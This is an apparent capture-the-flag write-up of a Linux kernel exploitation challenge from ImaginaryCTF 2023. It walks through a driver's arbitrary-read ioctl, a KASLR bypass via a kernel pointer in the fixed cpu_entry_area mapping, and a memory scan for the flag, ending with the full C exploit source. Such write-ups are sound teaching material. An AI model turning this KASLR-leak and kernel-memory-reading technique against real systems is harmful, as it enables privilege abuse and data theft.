window-of-opportunity
window-of-opportunity (490 pts) - 11 solves by Eth007
Description: Sometimes, there is a glimmer of hope, a spark of inspiration, a window of opportunity.
Attachments https://imaginaryctf.org/r/izYM0#opportunity_dist.zip
nc window-of-opportunity.chal.imaginaryctf.org 1337
window-of-opportunity is a kernel exploitation challenge I did for the ImaginaryCTF 2023. We are given an arbitrary read primitive (and a stack buffer overflow but I didn’t use it), and the goal is basically to read the /flag.txt file. All the related files can be found there.

TLDR:
- Leaking with the help of the arbitrary read primitive the kernel base address by reading a pointer toward the .text stored within the fix-mapped
cpu_entry_areamapping. - Using the read primitive to read the whole kernel memory to get the flag given the initramfs is mapped in clear right after the kernel at a fixed offset.
- PROFIT
Code review
We are given a classic initramfs setup for this kernel challenge, which means we already know the whole initramfs will be mapped in memory right after the kernel at a fixed offset.
Let’s take at the ioctl provided by the kernel driver we have to pwn:
/* !! This is not the actual decompiled code, I rewrote it to make it easier to read */
__int64 __fastcall device_ioctl(file *filp, __int64 cmd, unsigned __int64 arg){ __int64 v3; // rbp __int64 v4; // rdx __int64 v5; // rbx __int64 result; // rax request req; // [rsp+0h] [rbp-120h] BYREF unsigned __int64 v8; // [rsp+108h] [rbp-18h] __int64 v9; // [rsp+118h] [rbp-8h]
_fentry__(filp, cmd, arg); v9 = v3; v8 = __readgsqword(0x28u); if ( (_DWORD)cmd == 0x1337 ) { copy_from_user(&req, arg, 0x108LL); result = (int)copy_to_user(arg.buf, req.ptr, 0x100LL); } else { result = -1LL; } if ( v8 != __readgsqword(0x28u) ) JUMPOUT(0xC3LL); return result;}The structure used to exchange with the kernel driver looks like this:
typedef struct request_s { uint64_t kptr; uint8_t buf[256];} request_t;Which means we have a very powerful arbitrary read primitive.
Exploitation
To compile the exploit and pack the fs I used this quick and dirty command if you mind:
musl-gcc src/exploit.c -static -o initramfs/exploit && cd initramfs && find . -print0 | cpio --null -ov --format=newc > ../initramfs.cpio && cd .. && ./run.sh initramfs.cpioFirst let’s take a look at the protection layout by using the kchecksec developped by @bata24 in his awesome fork of gef.
gef> kchecksec------------------------------------------------------------------ Kernel information ------------------------------------------------------------------Kernel version : 5.19.0Kernel cmdline : console=ttyS0 oops=panic panic=1 kpti=1 kaslr quietKernel base (heuristic) : 0xffffffff9b600000Kernel base (_stext from kallsyms) : 0xffffffff9b600000------------------------------------------------------------------- Register settings -------------------------------------------------------------------Write Protection (CR0 bit 16) : EnabledPAE (CR4 bit 5) : Enabled (NX is supported)SMEP (CR4 bit 20) : EnabledSMAP (CR4 bit 21) : EnabledCET (CR4 bit 23) : Disabled-------------------------------------------------------------------- Memory settings --------------------------------------------------------------------CONFIG_RANDOMIZE_BASE (KASLR) : EnabledCONFIG_FG_KASLR (FGKASLR) : UnsupportedCONFIG_PAGE_TABLE_ISOLATION (KPTI) : EnabledRWX kernel page : Not found----------------------------------------------------------------------- Allocator -----------------------------------------------------------------------Allocator : SLUBCONFIG_SLAB_FREELIST_HARDENED : Enabled (offsetof(kmem_cache, random): 0xb8)-------------------------------------------------------------------- Security Module --------------------------------------------------------------------SELinux : Disabled (selinux_init: Found, selinux_state: Not initialized)SMACK : Disabled (smack_init: Found, smackfs: Not mounted)AppArmor : Enabled (apparmor_init: Found, apparmor_initialized: 1, apparmor_enabled: 1)TOMOYO : Disabled (tomoyo_init: Found, tomoyo_enabled: 0)Yama (ptrace_scope) : Enabled (yama_init: Found, kernel.yama.ptrace_scope: 1)Integrity : Supported (integrity_iintcache_init: Found)LoadPin : Unsupported (loadpin_init: Not found)SafeSetID : Supported (safesetid_security_init: Found)Lockdown : Supported (lockdown_lsm_init: Found)BPF : Supported (bpf_lsm_init: Found)Landlock : Supported (landlock_init: Found)Linux Kernel Runtime Guard (LKRG) : Disabled (Not loaded)----------------------------------------------------------------- Dangerous system call -----------------------------------------------------------------vm.unprivileged_userfaultfd : Disabled (vm.unprivileged_userfaultfd: 0)kernel.unprivileged_bpf_disabled : Enabled (kernel.unprivileged_bpf_disabled: 2)kernel.kexec_load_disabled : Disabled (kernel.kexec_load_disabled: 0)------------------------------------------------------------------------- Other -------------------------------------------------------------------------CONFIG_KALLSYMS_ALL : EnabledCONFIG_RANDSTRUCT : DisabledCONFIG_STATIC_USERMODEHELPER : Disabled (modprobe_path: RW-)CONFIG_STACKPROTECTOR : Enabled (offsetof(task_struct, stack_canary): 0x9c8)KADR (kallsyms) : Enabled (kernel.kptr_restrict: 2, kernel.perf_event_paranoid: 2)KADR (dmesg) : Enabled (kernel.dmesg_restrict: 1)vm.mmap_min_addr : 0x10000What matters for us is mainly the KASLR that is on. Then, the first step will be to defeat it.
Defeat kASLR
To defeat kASLR we could use the trick already use a while ago by the hxp team in one of their kernel shellcoding challenge. The idea would be to read through the cpu_entry_area fix-mapped area, that is not rebased by the kASLR, a pointer toward the kernel .text. Then giving us a powerful infoleak thats allows us to find for example the address of the initramfs. I just had to search a few minutes the right pointer in gdb and that’s it, at 0xfffffe0000002f50 is stored a pointer toward KERNEL_BASE + 0x1000b59! Which gives:
req.kptr = 0xfffffe0000002f50; if (ioctl(fd, 0x1337, &req)) { return -1; }
kernel_text = ((uint64_t* )req.buf)[0] - 0x1000b59; printf("[!] kernel .text found at %lx\n", kernel_text);initramfs for the win
The initramfs is mapped right after the kernel, from kbase + 0x2c3b000, which means given we leaked the .text, we can deduce by it the address of the initramfs and then we can simply look for the icft pattern while reading the whole initramfs. Which gives:
printf("[!] initramfs at %lx\n", kernel_text + 0x2c3b000);
while (1) { req.kptr = kernel_text + 0x2c00000 + offt; if (ioctl(fd, 0x1337, &req)) { return -1; }
for (size_t i = 0; i < 0x100; i += 4) { if (!memcmp(req.buf+i, "ictf", 4)) { printf("flag: %s\n", (char* )(req.buf+i)); } }
offt += 0x100; }PROFIT
Finally here we are:
mount: mounting host0 on /tmp/mount failed: No such devicecp: can't stat '/dev/sda': No such file or directory
Boot time: 2.78
--------------------------------------------------------------- _ | | __ _____| | ___ ___ _ __ ___ ___ \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ \ V V / __/ | (_| (_) | | | | | | __/_ \_/\_/ \___|_|\___\___/|_| |_| |_|\___(_)
Take the opportunity. Look through the window. Get the flag.---------------------------------------------------------------/ # ./exploit[!] kernel .text found at ffffffff8de00000[!] initramfs at ffffffff90a3b000flag: ictf{th3_real_flag_was_the_f4ke_st4ck_canaries_we_met_al0ng_the_way}Annexes
Final exploit:
#include <stdio.h>#include <stdlib.h>#include <inttypes.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <unistd.h>#include <sys/ioctl.h>#include <string.h>
typedef struct request_s { uint64_t kptr; uint8_t buf[256];} request_t;
int main(){ request_t req = {0}; uint64_t kernel_text = 0; uint64_t offt = 0;
int fd = open("/dev/window", O_RDWR); if (fd < 0) { return -1; }
req.kptr = 0xfffffe0000002f50; if (ioctl(fd, 0x1337, &req)) { return -1; }
kernel_text = ((uint64_t* )req.buf)[0] - 0x1000b59; printf("[!] kernel .text found at %lx\n", kernel_text); printf("[!] initramfs at %lx\n", kernel_text + 0x2c3b000);
while (1) { req.kptr = kernel_text + 0x2c00000 + offt; if (ioctl(fd, 0x1337, &req)) { return -1; }
for (size_t i = 0; i < 0x100; i += 4) { if (!memcmp(req.buf+i, "ictf", 4)) { printf("flag: %s\n", (char* )(req.buf+i)); } }
offt += 0x100; }
close(fd); return 0;}